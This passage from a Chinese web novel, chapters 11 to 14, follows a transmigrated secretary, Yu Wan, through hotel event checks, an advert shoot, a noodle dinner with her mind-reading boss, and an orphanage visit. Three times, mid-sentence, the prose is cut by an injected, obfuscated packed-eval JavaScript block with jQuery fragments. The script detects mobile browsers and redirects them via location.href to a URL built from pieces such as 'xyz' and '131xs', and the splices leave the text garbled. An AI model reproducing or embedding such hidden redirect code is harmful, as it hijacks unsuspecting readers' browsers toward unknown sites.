星玥酒店不愧为顶奢酒店,建筑风格将奢华和浪漫完美结合,复古的浮雕墙壁和古铜色雕花灯柱,还有透明玻璃柜展示傅氏集团旗下的品牌珠宝,分明如此土大款的风格,却因为设计师的调配,处处透露着低调和艺术,前台迎宾小姐穿着统一的白色衬衫和灰色西裤,打扮得体,妆容淡雅,脸上时刻挂着微笑。
虞晚跟着酒店负责人上楼,绕过漂亮的长廊去举办庆典的宴会厅,走在长廊上,可以眺望远处连绵的绿色山丘,人工草坪绿草如茵,阳光落下来,透过树叶的罅隙能看见零星几位客人躺在摇椅中晒日光浴。
举行庆典的星玥酒店严格意义上来说更像是度假村,山谷,河流和森林等元素一应俱全,宛如城市中的世外桃源。
她来时悄悄查询了入住价格,最便宜的一间房都要五千九,最贵的总统套房二十九万一晚更是月月爆满。
虞晚:……
人和人的差距还是太大了点。
到了宴会厅,酒店负责人何总耐心介绍,对她态度恭敬有加:“虞秘书,公司企划部和行政部的同事前几天已经开始布置宴会厅场所了,我们酒店这边深知此次庆典的重要性,上上下下是全力配合,按照企划部给出的紧急预案认真演练过一遍,确保庆典当天不会出差错,不过我们精力始终是有限的,这个时候就需要你们这些被傅总信任的人才的帮助,有什么问题我们这边一定改进。”
不得不说,职场混久了的人拍马屁的手法相当高超,何总简要说明酒店的负责工作后不着痕迹地表达对傅氏的忠心,同时还称赞了虞晚的能力。
虞晚表示学到了。
她朝着何总点点头,“麻烦您了,我先看看,后续有问题再和您沟通。”
“好,虞秘书,我这边还有点事,我让助理小张跟着你,有需要就叫他。”
何总旁边的助理小张站出来,“虞秘书好。”
“你好。”
虞晚拿着文件走进宴会厅,眼神专注,脊背笔挺,宛若巡视的教导主任,她按照庆典项目书上的流程一一检查。
清点酒杯和餐碟有无缺口的,确认宴会餐桌摆放动线,检查舞台幕布升降有没有卡顿问题,剪裁kt板搭建的签到背景墙的稳固程度,铺设红毯厚度会不会影响走路,灯光变幻情况等等……
虞晚检查得仔细,时不时拿出笔记本记录,简直连一丝一厘的细节都不肯放过,陪在她旁边的助理小张震惊瞪大眼。
怪不得虞秘书会当上秘书呢,他学到了!
11. 第 11 章
等检查结束,虞晚忽然接到卫羡的电话。
虞晚有些困惑:“卫总监?”
电话那边卫羡声音带笑:“嗯哼,虞晚,我给你打电话震惊吗?我刚从傅总那边得知你来酒店了,我正在酒店这边拍广告,要来看看吗?你那边工作搞定没?”
虞晚:“刚检查完毕,正准备去老板那边看看,我过去不会影响你吧?”
卫羡道:“你想去找老板?别担心呀,老板那边有关彦轩在呢,我刚和老板发过消息,他也打算让你来看看。”
话说到这个份儿上,虞晚自然不会拒绝,“那就麻烦卫总监了,我马上过去。”
挂掉电话,虞晚才明白为什么这次合作谈判老板没带她,原来是有关总监在。
不过关总监全程紧进了纽裕禾红酒项目,对项目了解程度肯定比虞晚更深,她还有得学习。
抵达拍摄所在的宴会厅时,卫羡她们正在拍摄最后一个场景。
虽然虞晚给出了一镜到底的建议,但除非一比一造景还原,否则实现难度还是有些大,尤其是一些场景因为其奢华精致,复刻起来有一定难度。
因此,卫羡选择通过剪辑创造一镜到底的效果,这样背景更为真实华丽,成本也相对较低。
卫羡坐在导演旁边,同他一起看监视器画面,看到虞晚出现,朝她招了招手,示意她过来看。
虞晚走过去,“卫总监。”
卫羡抬抬下巴,“刚好,你可以了解了解广告的拍摄,其实过程很无聊的,不过必须要人盯着,不然预算根本压不住,一个不注意就超了。”
虞晚虚心求教:“预算超过了怎么办?”
卫羡挑眉:“不怎么办,打报告,让傅总通过呗,就是会被骂而已。”
虞晚:“……”
这哪里只够一个而已。
卫羡看虞晚表情僵硬,噗嗤一下笑出声,简单给她介绍了拍摄团队,演员是从艺人经纪公司里找的,两位五官立体漂亮的外国模特,两男两女,导演姜润湿业内资深的广告导演。
卫羡道:“知道那瓶让无数女人梦寐以求的粉色香水美梦一号吗?就是姜导拍的。”
虞晚不明觉厉,“好厉害。”
卫羡动了动鼻子,“你平常不喷香水吧?”
虞晚摇头,“董总监说老板不喜欢太浓的香水味,所以我用的沐浴露香味都不大。”
卫羡拍拍虞晚肩膀,十分理解:“欲戴皇冠必承其重,每次高层开会的时候我都不会喷香水,能打扮多简单就打扮多简单,这样老板叫我滚出去的时候,至少不会那么狼狈,两条腿倒腾,溜得快。”
虞晚被逗笑。
最初认识卫羡,虞晚还以为她是一个一心只有事业的拽姐,穿着黑色女士西装,蹬着一双恨天高,妆容精致漂亮,满脸写着冷酷和生人勿近,但为人意外的温柔,甚至看出她的紧张,主动和她聊天。
宴会厅此刻已经被装点好,璀璨的水晶灯映照着精致奢华的长桌,桌上摆放着纽裕禾葡萄酒以及其他新鲜漂亮的水果,上流社会的豪奢和富丽一览无遗。
就是现场混乱的工具摆放和硕大的打光灯有些影响观感。
姜导拿着小喇叭喊:“演员就位,大门两侧的人记得及时拉开门好让演员跑进来,其余演员按照站位站好,在两位主角进来的时候转过身,跟随两人一起举起酒杯!”
戏份其实已经讲过,但导演还是重复了一遍,确认各位演员准备好,场务打了个板。
大门推开,灯光跟进,两位演员手拉手跑进来,拿出桌上的酒杯,倒入红酒,举杯共饮。
画面拍摄极其完美,灯光也没问题,但姜导演看完便皱起了眉,卫羡询问:“怎么了姜导?有什么地方没调整好吗?”
姜导让他看监视器里的画面。
“背景里人太少了,画面的华丽程度不够,借点礼服,找几个上镜的人一起加入镜头。”
卫羡一看,的确差点意思,便按照姜导的要求,打电话租借了一批礼服,从现场非直接参与的工作人员里挑人。
卫羡左右扫视,一眼就看到了坐在边上认真写笔记的虞晚,“虞晚呀,帮我一个忙呗。”
虞晚:“……”
虞晚措不及防被抓壮丁,换好礼服,还被化妆师按着化了个简单的妆。
画完妆,虞晚瞪着眼看着镜子里的自己,有些小震惊。
脸还是那张脸,眼睛还是那个眼睛,但更漂亮更精致,哑光唇膏使得妆容质感度上升一个阶梯,黑色的眼线笔在睫毛根部细细涂抹,放大双眼效果显著,化妆师还给虞晚修了修眉毛边缘的杂毛。
见虞晚目不转睛盯着镜子里的自己,化妆师被她表情可爱到,同她聊起来:“你平常不化妆吗?”
虞晚摇头又点头:“涂点防晒和口红,也算化妆吧。”
上辈子的虞晚也就这两样化妆品,偶尔公司有活动,虞晚就会涂点口红,以示对活动的尊重。
化妆师笑起来:“当然不算啦,不过你皮肤好,眉毛浓,涂点口红的确和化妆没啥区别,那你把这个卸妆巾拿着,晚上回家,记得用卸妆巾卸妆,只用洗面奶很难洗干净的。”
虞晚笑起来:“谢谢你。”
“不客气。”
道过谢,虞晚拎着裙摆,走出化妆间,此刻时间已经到了五点,虞晚想起什么,乘坐电梯去了酒店后厨,和后厨人员交流了几句,再次乘坐电梯回到宴会厅。
刚踏出电梯,下一秒,虞晚就撞上了从隔壁电梯里出来的傅知尧,旁边是关彦轩。
脚步当即顿住,弯腰鞠躬。
“老板好,关总监好。”
傅知尧这才注意到他旁边站着的是虞晚,漫不经心扫过去,视线一顿。
虞晚穿着宝蓝色的抹胸礼服,左侧肩膀连着一条轻薄的颜色更为柔和的蓝色长纱,从胸前挽过消瘦的肩头,在腰上系成一个漂亮的蝴蝶结,掐出盈盈一握的纤细腰肢,两条细瘦的胳膊露在外面,白皙得像是泼出来的牛奶,被轻纱隐隐遮住的胸口饱满丰盈,随着动作轻颤,如同白嫩的冰酥酪,越是不想注意,就越是被吸引。
傅知尧皱起眉:“谁让你穿这衣服的?”
虞晚解释:“姜导说缺人,让我顶替一个站位。”
傅知尧一言不发迈开长腿往宴会厅方向去。
虞晚跟在他身后,明显察觉老板心情不爽,心有戚戚,公司员工果然没说错,老板就是个大魔王。
视线往旁边一瞥,好吧,两个大魔王。
等到了拍摄所在的宴会厅,虞晚屁颠颠搬来一张椅子,让老板坐下,听到卫羡叫自己的声音,和老板打过招呼,立刻跑过去。
“卫总监。”
卫羡扫了眼虞晚的穿搭,欣赏地点点头:“我就说我眼光没毛病吧,你穿这礼服好看。”
虞晚跟着其他换好礼服的背景板
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585333|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们,一齐站着听姜导指挥。
姜导举起小喇叭,示意大家看他动作:“你们的动作很简单,身后大门打开的时候,有人会倒数三二一,数到一的时候,缓缓转过身,等你们看到我们的主角举起酒杯,就跟着举起酒杯,表情只需要微笑,不要笑太过,如果你不会笑,那就不用笑,太僵硬我们也是要喊卡的!”
这个时候,关彦轩得以借着灯光看清虞晚。
穿着宝蓝色礼服,明艳四射的虞晚。
五官还是那个五官,却漂亮了不止一倍,视线再往下移,关彦轩眉头一动,每天看小秘书穿个没啥版型的白衬衫,突然换成礼服才看出来小秘书身材不错,他盯着虞晚看了几秒,收回视线。
肩膀上突然落下一只手,是卫羡。
她看看虞晚,看看关彦轩,挑了下眉,“怎么样,是不是有种一眼惊艳的感觉?那件宝蓝色礼服是我特意选给虞晚的,她皮肤白,适合这个颜色。”
关彦轩拍掉她的手,无情道:“好不好看关我什么事。”
卫羡故意‘哇’了一声,“关总监,别以为我看不出来你不喜欢虞晚,她到底做了什么让你看她这么不爽?”
做了什么?
无非是在他发起专项会议却打电话来询问他怎么没回复消息,无非是明确告诉她自己会让清洁阿姨进来打扫时,还特意走进会议室检查有没有落下的东西。
让他觉得这人又愚蠢又没有效率罢了。
不过,这些他为什么要告诉卫羡,头也不抬给她一句话:“关你屁事。”
卫羡噎得半死。
这人性格恶劣得和傅总有得一拼,但比起傅总,显然卫羡更敢招惹他一些。
见他不愿意说,干脆走过去帮导演。
很快,导演讲完拍摄注意事项,各位演员们按照指定位置站好,几台摄像机器同时推进。
傅知尧坐在角落椅子上看虞晚拍广告,俊美的脸庞面无表情,看不出喜恶。
宴会厅大门被推开,穿着华贵的演员手拉手跑进来,倒数过后,虞晚缓缓转过身,举起酒杯,微笑。
头顶水晶灯只开了两三盏,加上打光灯,光源几乎全都聚集在中央,因此,没几个人注意到他来了宴会厅。
镜头没什么难度,但要讲究美感和协调度,拢共拍了三四次才结束。
虞晚放下道具酒杯,刚好看到推着餐车从侧门走进来的酒店工作人员,连忙跑过去,让工作人员帮忙打开宴会厅其余的灯光,随后借了导演的小喇叭,扬声道:“大家拍摄辛苦了,傅总给各位准备了甜点和饮料,大家随意取用!”
傅知尧挑了下眉。
紧接着,就看到虞晚端着一杯热茶小跑到他身侧,将茶递给他后有些紧张地开口:“老板……”
“有话就说。”
虞晚:“我用您的名义让酒店后厨准备了一些点心给今日拍摄的工作人员,这样做可以吗?”
她声音里带着点拘谨,似乎生怕他说不行。
不等他回答,一些机灵的工作人员听到甜点是傅总准备的,顺着虞晚方向冲着他喊:“谢谢傅总!”
其余人也跟着喊:“谢谢傅总!”
傅知尧难得搭理,坐在座椅上闲闲点头回应,再看虞晚,她眼睛亮晶晶的,嘴唇跟着上翘,好似谢的是她。
算了。
傅知尧想,看在小秘书这杯热茶的份儿上原谅小秘书的逾距行为。
12. 第 12 章
傅知尧收回视线,正准备喝口茶,瞥见虞晚的穿着,当即皱眉,下达命令:“去换回自己的衣服。”
看虞晚穿白衬衫看久了,头一回看她穿礼服,怎么看怎么不习惯。
虞晚以为傅知尧担心错过归还礼服的时间,点点头,拎着裙摆回到换衣间,将礼服细心脱下,确认礼服没有损伤后归还。
剩余的工作不需要虞晚参与,有关彦轩和卫羡在,傅知尧和两人聊了几句,等虞晚换好衣服,同她一起离开。
天已经缓缓黑了,路灯亮起,夜色中的星玥酒店有一种古欧洲建筑般别样的美感。
照旧是先送她回学校,虞晚例行表达对傅总的感谢,傅总依旧冷漠不说话。
一路无言,快到学校时路过虞晚常吃的那家面馆,虞晚咕咕叫的肚子让她差点忘记自己旁边坐着的是老板,急忙叫停。
对上老板因急停半个身子飞出去快要杀人的眼神,虞晚没什么底气,小声解释:“老板,我还没吃晚饭……”
半分钟后,虞晚下车。
身后,傅知尧迈着长腿,优雅从容从另一侧下车,同她一起走去面馆。
路边绿化带里种着健壮的海棠花,一簇簇拥在枝头,花瓣是嫩粉色,晚风一吹,如同在下一场花雨,一些花瓣落到头发上,一些花瓣卷到路边堆积,成了一片粉色的海浪。
场景实在是浪漫。
虞晚将手机拿出来转变拍照,但刚输入两个密码,手机就卡死了,不管虞晚怎么划拉屏幕都动不了。
两分钟后,虞晚收回咬牙切齿的表情,选择放弃,将手机放入口袋,将目光投向老板,默默计算同傅知尧借钱被打死的可能性。
目光实在是明显,傅知尧啧了一声,有些烦躁:“说话。”
听不见人心声就是这点坏处,他想知道虞晚在想什么只能问。
虞晚抿唇,小心翼翼道:“老板,我手机没电了。”
傅知尧:“……”
他对虞晚的了解还是太少了,居然没看出来虞晚还有睁眼睛说瞎话的本事,他分明刚才还看到虞晚手机屏幕是亮的。
两人走进面馆,傅知尧随意扫了两眼,桌子是原木的,后厨大多都是不锈钢厨具,擦拭得锃光瓦亮,还算干净。
“两碗牛肉面。”
“好嘞,40块钱。”
虞晚在一旁补充:“老板,其中一碗不要放香菜和葱。”
面馆老板:“好,你们先找座位坐,面马上就来。”
正值就餐高峰时段,虞晚只找到了两张对着墙面的单人桌,将靠墙壁那侧不必挨着陌生人的那个位置让给老板,虞晚从包包里拿出纸巾,认真给老板擦了擦高脚椅和桌面。
“老板请坐。”
傅知尧没什么愧疚感,坦荡地坐上虞晚擦干净的椅子,等到老板端来牛肉面,虞晚又拆开一次性木筷,两只筷子相互摩擦,去掉上面细小的木刺,递给傅知尧,“老板,你用这双筷子。”
傅知尧接过来,虞晚拆开另一双,继续重复动作,见傅知尧看她,主动开口:“老板,一次性木筷没打磨到位容易有木刺,吃的时候可能会伤到嘴巴,摩擦一下会好很多。”
“嗯。”
虞晚将纸巾放在桌面,“老板你要用自己拿。”
“嗯。”
不知道是不是虞晚的错觉,她觉得傅知尧此刻心情不错。
虞晚说:“老板,牛肉面钱我回去会转给你的。”
傅知尧皱眉:“我像是缺一碗牛肉面钱的人?”
虞晚:“不像。”
老板不缺,但她缺啊,她平日里可是只吃六块钱一碗素面的人,除非拿奖学金,否则一碗20的牛肉面,不亚于拿金子做的卫生纸擦屁股,那可是相当奢侈了好吗?
想到董总监和林特助强调的不要撒谎,虞晚她解释,“其实老板,我的手机不是没电了,我的手机屏幕卡住了打不开,我本来想请你吃面的,但怕手机付不了款尴尬。”
说着,虞晚从口袋里拿出手机演示给傅知尧看,偏偏不争气的手机在这个时候恢复了,虞晚随意滑了两下,屏幕跟着动起来。
虞晚:“……”
空气在沉默。
“老板……”
“别解释,吃饭。”
“哦。”
虞晚闭嘴。
这家面馆里的牛肉面和其他面馆的牛肉面不同,不是普通的薄薄一片的那种牛肉,是炖煮得软烂的大块红烧牛肉,精选牛腱子,可以看到牛肉块里软糯的筋,酱汁浓郁鲜香,汤底是每日现熬的骨汤,还没吃,一股浓郁的香气就飘出来,争先恐后往鼻腔里钻。
傅知尧也饿了一下午,没有克制,大口吃了起来。
吃完已经是半小时后,虞晚和傅知尧从面馆走出来,还有大批大批的学生走进去。
两人沿着人行道漫步,粉色海棠花雨再次飘落,这回虞晚终于能拍照了,偷偷摸摸拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585334|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了几张,虞晚同傅知尧道谢。
“老板,谢谢你今天请我吃牛肉面,下回我请你吃。”
傅知尧双手插兜:“你以为我像你,我的时间很宝贵的。”
虞晚:“……”
她懂,分分钟几百万上下。
可能是吃饱了人的思维变得懒散闲适,也可能是晚风吹佛温柔又凉爽,又或者是此刻不需要考虑工作,两人情绪都比往日放松。
傅知尧问她:“你是不是在心里骂我?”
虞晚:“……”
虞晚记得,上回傅知尧也问了这话,可是为什么,为什么傅知尧总觉得她会骂他。
虞晚摇头,“我不敢。”
傅知尧被她诚恳的语气一噎,饶是在商场上锻炼出来的伶牙俐齿在此刻也显得无能为力,好半天憋出来一句:“你还挺诚实的。”
虞晚也觉得:“……谢谢老板夸奖。”
“你听不懂好赖话是不是,牛肉面吃多了?”
虞晚没料到老板还会开玩笑,噗嗤一声笑起来,声音轻盈灵动,像是一只春天报喜的小雀。
傅知尧侧头看她一眼,觉得虞晚笑得莫名其妙,但奇怪的是,他居然没觉得厌烦。
路灯下,小秘书化过妆的脸格外清秀漂亮,嘴上的唇膏因为吃过牛肉面掉得差不多,但红润不减,弯起唇角的时候,脸颊两侧有个小小的括号,比随风飘落的海棠花还要引人注目。
傅知尧有些不自在收回视线。
等离学校位置越来越近,虞晚纠结了好一会儿,弱弱开口:“……老板,其实你不用送我回学校的。”
她怪不好意思的。
傅知尧差点气笑了:“你哪只眼睛看见我想送你回学校了?老武的车停那儿了。”
虞晚窘:“哦。”
她今天的脸真的是丢完了。
“那老板,我先回学校了,谢谢您送我,今天庆典验收情况我明天早上九点前会发给您,祝老板周末愉快,下周一见!”
说着,虞晚朝傅知尧挥挥手,脚步飞快,奔向学校大门。
傅知尧勾了下唇,上车,车门关上没多久,听见老武的心声。
-【许久没见傅总笑得这么开心了,好像是虞晚那个小姑娘的缘故,不过虞晚的确是个可爱的小姑娘,傅总喜欢她不意外。】
傅知尧:“……”
谁说他喜欢她了?
被蠢蛋逗笑这件事很意外吗?
13. 第 13 章
虞晚作为总裁的助理秘书,和其他员工上五休二不一样。
倒不是说她没有双休,她的双休更偏向于薛定谔的双休,即老板有事就要去上班,老板没事就能继续待在她的小宿舍,双休还是那个双休,但得调休。
恰好这周六老板要回老宅,虞晚不需要去公司。
虞晚在九点前准时将汇报文件发给傅知尧,随后约了中介看房子。
一连看了好几套,虞晚都不算满意,不是位置不好太偏僻,就是光照不足,墙皮脱落发霉,发霉的房子住进去,身体再健康的人都要遭殃。
虞晚可不希望自己钱没赚到几个,身体反而先垮了。
中介也发愁,他陪着虞晚逛了两回还没定下来,关键是虞晚预算低,他拿到手的提成也没多少,逛得他心不甘情不愿。
中介干脆道:“虞小姐,你给我的价格区间就这几套房子合适,2000以内基本都是合租,单人间就是这个水平,你也知道海市的房价,这几年最低都是8900一平,再低就得往廉租房和棚户区里找,地下室也有大把的人抢着住。虞小姐,你学生当久了可能不知道外面世界的变化,总想着选个物美价廉的,但人人都想要物美价廉,海市人口将近2000万,地就这么大点,分得过来吗?你稍微犹豫一下,这房子说不定就被别人定下了,你再后悔想租可就没这个机会了。”
虞晚对中介说的话不置一词,将手中的饮料递给对方,礼貌道:“谢谢你告诉我这么多,麻烦你了,等我决定好再联系你吧。”
中介腋下夹着个公文包,恨她不听劝摇摇头走了。
虞晚内心其实也有些动摇,她知道自己的房租预算有些低,但她不确定自己会不会留在总裁办,如果不能留在总裁办,她租三四千的房子又有何用,她根本负担不起。
她不是超前消费主义者,能花多少钱不取决于她拥有多少钱,当然她也不是苦行僧,明明在赚钱却非得苛待自己。
她给自己的存款划定了安全界限。
像虞晚现在,每月固定支出餐费加交通费不过一千二,但她多给自己预留了五百块钱的空间。
这个五百块钱的中间地带,就是虞晚可以花费的上限,聚餐、买水果、生病买药都是从这里面支取。
中介的话虞晚不会全信,他们是中介,目的是租出去房子赚佣金,不可能全然站在虞晚的立场考虑,虞晚要是相信中介说的话,一时头脑冲动定下房子,以后肯定会因为各种琐碎的小事情后悔的。
当一件事情犹豫反复的时候,虞晚便会放弃,因为犹豫纠结的时间已经足够她去做很多其他的事情了。
房子没找到,虞晚也不气馁,坐上608公交车,去了心爱孤儿院。
正是原主长大的孤儿院。
说来奇怪,虞晚和原主几乎长得一模一样,不过她确信自己是和原主交换身体,而非单纯占有对方的身体,因为她右手手肘处有一个月牙形烫伤的疤痕。
那是她第一次学做菜时手忙脚乱被热锅边缘烫伤的。
也是因此,虞晚一直对自己会和原主交换回来抱有期望,不过在交换回来之前,生活还是要继续的。
下了公交车,沿着长坡步行一段路,就到了心爱孤儿院。
作为海市知名的孤儿院,心爱孤儿院背后一直有傅氏慈善基金会的资助,秉持着知识改变命运,慈善基金会会资助到孩子读完高中,如果想要继续读书,傅氏慈善基金也会出资学费,但也仅限于学费,并不提供生活费。
原主读大学时不必为学费发愁,但生活方面就略微拘谨,还是林妈妈给她提供了一些帮忙,原主利用周末以及节假日忙碌赚取生活费,等有了奖学金,生活才稍稍好过一些,
这点和虞晚不一样,虞晚所在的孤儿院有好心人资助,但不像傅氏那般,连成人后的大学学费都资助,虞晚读书时是申请助学贷款,工作后才陆陆续续还清。
也是因此,原主才会在离开孤儿院后时不时回来心爱孤儿院探望林妈妈,虞晚作为顶替身份的人,自然不会忘记林妈妈的恩情。
站在孤儿院大门前,隔着栏杆就能看到里面在空地上玩耍的孩子们,孩子们脸上洋溢着笑脸,身上穿的衣服虽然不算新,但胜在干净整洁。
有孩子眼尖注意到她,飞快跑进去找人。
片刻,孤儿院院长林淑珍走出来。
虞晚喊她:“林妈妈。”
林妈妈看见她,打开院门让她进来,笑着说:“你来了,快有两个月没见到你了,我又怕你忙,没好意思给你打电话,只能发发消息。”
虞晚解释:“是我没时间,我最近在忙实习和毕业的事情。”
林妈妈体谅她,“我知道,你心里有我们孤儿院,你把你自己的生活过好就行,孤儿院这边一切都好。”
林妈妈引着虞晚往里走,孤儿院其他小孩已经习惯隔一段时间看见虞晚,毕竟这位姐姐每次来都会带一些新鲜的小玩意儿送给她们,还会留下来和她们一起吃饭。
不过虞晚这个穿书者和林妈妈不熟,没有留下来吃饭,简单和林妈妈聊了几句,喝了杯热茶就起身离开。
离开前,虞晚往林妈妈手里放了一个红包。
林妈妈诧异,连忙把红包塞还回去,“你自己赚钱不容易,能来看看我和孩子们就够了,钱你自己留着,你马上要毕业了,花钱的地方本来就多,你得学着节省,孤儿院不缺钱。”
虞晚看着她,声音也柔软了下来:“林妈妈,钱不多,我本来是想给孩子们买些零食,但怕不了解孩子们口味,有时间的话,麻烦您带孩子们自己去小卖部选购,这是我的心意,能让孩子们开心点就好。”
红包里的钱不多,只有五百块钱,但请孤儿院里三十多个小孩吃点零食还是没问题的。
小孩子嘛,最大的梦想可能就是吃自己喜欢的零食吃到饱,虞晚现在对零食的渴望不如小时候强烈,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585335|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果有能力,她也想满足一下和小时候的她一样渴望能自由挑选零食的小朋友们。
或许是想起了什么,林妈妈没再拒绝,摸了摸虞晚的脑袋,轻声说:“好孩子,谢谢你。”
虞晚从林妈妈办公室走出来,碰到了一个不过刚到她大腿那般高的小男孩,他抱着一个毛茸茸的小狗玩偶,躲在柱子后面看她,一双眼睛黝黑圆润,透着点懵懂和好奇。
虞晚知道他,他叫林衡,姓是跟着林淑珍姓,名字是从书本上随意挑的一个。
小男孩先天性聋哑,虽然样貌好看,但不会说话,听不见声音,许多领养的家庭都是最先挑中他,却因为聋哑而放弃他。
虞晚蹲下来,小男孩抱着玩偶往柱子后躲了一下,见虞晚那边没动静,才又探出一个脑袋。
虞晚露出一个笑容。
她伸出食指指向对方,收回来比了个大拇指,拍一下自己胸膛,手放在唇边,比划自己的名字,介绍自己。
你好,我叫,虞晚。
小男孩眼睛瞪大了一些。
原来除了林妈妈,这个陌生的大姐姐也会手语。
林妈妈出来,刚好看到虞晚对小男孩比划手语的一幕,走过去,有些好奇地问虞晚:“虞晚,我怎么不知道你还会手语。”
虞晚找了个借口:“大学参加社团,学习了一些,不过会些简单的打招呼手势。”
小男孩看到林妈妈,有些畏惧林妈妈的威严,看了两眼虞晚,抱着玩偶跑开了。
林妈妈说:“上回有对夫妻来我们这里,想要领养一个小男孩,第一眼就相中了林衡,还专程请医生给他看身体,在知道即便安装人工耳蜗也听不到声音后放弃了,给心爱捐了十万就离开了。”
虞晚心底叹息一声,对此无可奈何。
在孤儿院生活长大的人大多是这样的,因为身体缺陷被父母遗弃,因为生育父母年纪太小无法养育被抛弃,不被父母接受和喜爱所以被抛弃,又或者因为其他原因被养育在孤儿院。
总而言之,在虞晚明事理后就知道自己是被抛弃的,她身体健全,没有疾病,被院长捡到的时候包袱里还放着一张纸条,上面写着她的名字。
但要问虞晚想不想找到自己亲生父母,虞晚的回答是不知道。
从没见过,从没相处过,没有期待,没有喜爱,何来在意。
和院长告别,虞晚从孤儿院离开,沿着来时路走下坡,注意到一辆黑色豪车缓缓往上开,停在了孤儿院门口对面。
虞晚看了眼收回视线。
也就没注意到黑色豪车上走下来的年轻男人,他走到孤儿院门口,询问林妈妈:“刚刚有人来孤儿院了吗?”
“决风,你来了啊。”林妈妈顺着男人的视线方向看过去,“是呀,是虞晚。”
陆决风视线凝聚在那道戴着深蓝色棒球帽的身影,直到女人消失在长坡上才收回视线,纤长的睫毛动了动,掩住眼底的情绪。
14. 第 14 章
纽裕禾葡萄酒正式上市的当天,每位走入傅氏大厅的员工抬头便能看到前方大屏幕上循环播放的葡萄酒广告。
这其中,自然有人眼尖发现虞晚的身影。
行政部上午的忙碌过后,不约而同在公司小群里八卦起来,言语间不乏酸意。
【虞晚真的是走运,进了总裁办,还在广告里露脸了,好羡慕】
【是化妆了吧,比平常好看不少,虞晚怎么平常都不化妆?】
【这点我很早就想说了,分明进了总裁办,但每天还是素面朝天,不知道的还以为她是保洁呢。】
【她是不是关系户啊,不然怎么进的傅氏?】
【她还关系户?你看看她穿的衣服,再看看她那个卡顿得要死的破手机,加联系方式那次我尴尬地盯着她划拉半天屏幕也没反应,她要真是关系户,那谁谁不得呕血啊。】
赵予书看着群内的八卦,知道这人说的是公司里一位陪睡上位的女高管,嘴角泄出一抹嘲讽的笑容。
但她没有加入这群人的讨论,放下手机,拿着水杯去茶水间。
刚好撞上虞晚和傅知尧从前方走廊过来,赵予书牙根发紧,往墙边一靠,垂下脑袋,根本不敢看傅知尧。
“傅总好。”
傅知尧连一个眼神都没有给,擦身而过的时候不慎听到那人的心声。
-【凭什么,凭什么虞晚能成为傅总秘书,她有什么好,穿着廉价的地摊货,长相普通又不出挑,学历不过是个普通一本,没半点本事,凭什么就能成为傅总秘书,凭什么!】
傅知尧脚步停顿片刻,没有回头看。
车子行驶在路上,傅知尧斜睨向旁边坐着的虞晚,她正摘掉脖子上挂着的工牌放进包里。
出外勤的时候,虞晚总是会摘掉工牌。
她今天总算没有穿白色衬衫,上衣是深灰色的圆领纯棉衬衫,纽扣一丝不苟扣到最上方,伸手的时候露出伶仃的手腕,腕骨瘦得突出来,裤子是宽松的黑色牛仔裤,脚上一双深棕色的浅口小皮鞋。
目测这一身不超过五百块钱。
面对小秘书,傅知尧总是有疑惑就直白问:“你今天这一身衬衫裤子多少钱?”
虞晚懵了。
老板怎么突然开始对她的穿着价格感兴趣了?难不成是觉得她穿的衣服价格太低给他丢脸吗?
虞晚心绪百转,最终老老实实回答:“我在网上买的,衬衫七十九,裤子八十九,买两件让店主抹掉零头,一共一百六十块钱,还送了双袜子。”
傅知尧:“……”
很好,比他想象中还要便宜,甚至都够不到他一个袖扣的零头。
虞晚说完,傅知尧迟迟没有再问,虞晚一时拿不定傅知尧什么意思,干脆低头翻看起合作资料。
等到第二天上班,虞晚才知道傅知尧当时的沉默代表什么。
星玥酒店三十周年庆典在即,虞晚作为标准的跑腿小秘书,时常戴着工牌去酒店举办宴会的会场内查看庆典布置进度。
最后一次检查是蔡秘书同她一起去的。
两人分工明确,核对完庆典流程,最后检查一遍舞台幕布升降、灯光以及音响设备,确认没问题才离开。
回程路上蔡秘书开车。
虞晚则仔细审核列有庆典检查事项的表格,在下方写下今日现场检查结果和日期,方便稍后给老板过目。
表格填完,虞晚认真看过三遍,确认没问题,将表格放入文件夹里,注意到回去的路不太对劲,问蔡秘书:“我们还有什么事情要忙吗?”
蔡秘书专心看着前方的路况,目不斜视地说:“也不算是什么大事,虞晚,你还不知道吧,我们总裁办员工入职后可以报销一定的着装费用,你也该换点战斗装备了。”
战斗装备?
虞晚忽而想起昨天老板问她衣服价格的事情。
她有些窘迫又有些开心。
窘迫是老板嫌弃她穿得太便宜,开心是不必花钱就能有新衣服。
虞晚问:“有额度限制吗?”
蔡秘书开玩笑:“这个嘛,主要看你贪心不贪心了,我们先去商场。”
虞晚点头:“好!”
